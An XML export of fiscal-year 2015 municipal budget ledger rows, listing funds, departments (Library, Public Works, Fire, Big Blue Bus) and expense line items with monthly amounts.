<row _id="13943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17713.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17713.0</total></row>
<row _id="13944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4560.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4560.0</total></row>
<row _id="13945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
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<row _id="13947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>55000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55000.0</total></row>
<row _id="13948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>70965.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>70965.0</total></row>
<row _id="13949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>107000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107000.0</total></row>
<row _id="13950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566030.0</object><object_description>ARTS PROGRAM</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>84000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>84000.0</total></row>
<row _id="13952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>165825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>165825.0</total></row>
<row _id="13953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>522580.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>522580.0</total></row>
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<row _id="13956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3041765.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3041765.0</total></row>
<row _id="13957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522912.0</object><object_description>OIL FOR REVENUE EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>153750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>153750.0</total></row>
<row _id="13958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>527.0</total></row>
<row _id="13960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2800000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2800000.0</total></row>
<row _id="13961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7590.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7590.0</total></row>
<row _id="13962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="13963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5700.0</total></row>
<row _id="13964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1505.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1505.0</total></row>
<row _id="13965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4868.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4868.0</total></row>
<row _id="13966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511979.0</object><object_description>MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="13967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERIES OF PHYSICAL DAMAGE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>37897.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37897.0</total></row>
<row _id="13969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7644.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7644.0</total></row>
<row _id="13970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511690.0</object><object_description>OUTSIDE TEMP AGENCY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="13971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>100085.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100085.0</total></row>
<row _id="13972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>113416.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>113416.0</total></row>
<row _id="13973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>420748.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>420748.0</total></row>
<row _id="13974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>46703.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46703.0</total></row>
<row _id="13975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>26040.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26040.0</total></row>
<row _id="13976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3990.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3990.0</total></row>
<row _id="13977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2850.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2850.0</total></row>
<row _id="13978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="13979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4845.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4845.0</total></row>
<row _id="13980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1120.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1120.0</total></row>
<row _id="13981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>850.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>57477.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57477.0</total></row>
<row _id="13982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>25270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25270.0</total></row>
<row _id="13983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>12216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12216.0</total></row>
<row _id="13984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-73061.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-73061.0</total></row>
<row _id="13985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52421.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52421.0</total></row>
<row _id="13986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>587238.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>587238.0</total></row>
<row _id="13987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522070.0</object><object_description>DEPOSITION COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="13988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="13989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>16750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16750.0</total></row>
<row _id="13990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7073.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7073.0</total></row>
<row _id="13991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>310.0</total></row>
<row _id="13992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>209374.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209374.0</total></row>
<row _id="13993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>714711.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>714711.0</total></row>
<row _id="13994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>74520.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74520.0</total></row>
